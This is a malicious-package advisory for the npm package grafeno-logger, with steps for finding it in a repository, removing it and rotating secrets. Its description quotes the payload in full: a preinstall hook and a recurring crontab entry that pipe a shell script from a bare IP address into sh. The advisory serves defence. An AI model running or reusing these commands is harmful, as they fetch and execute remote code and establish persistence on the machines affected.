MAL-2026-15506 Malicious code in grafeno-logger (npm)
Malicious package
Published
MAL-2026-15506 is a malicious package: grafeno-logger (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-15506/ (Markdown: https://insights.sbomify.com/MAL-2026-15506/index.md)
- Package
- grafeno-logger
- Registry
- npm
What is MAL-2026-15506?
MAL-2026-15506 is a malicious package in grafeno-logger, published on 28 Aug 2026.
Official description
[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs
curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.What should I do about MAL-2026-15506?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.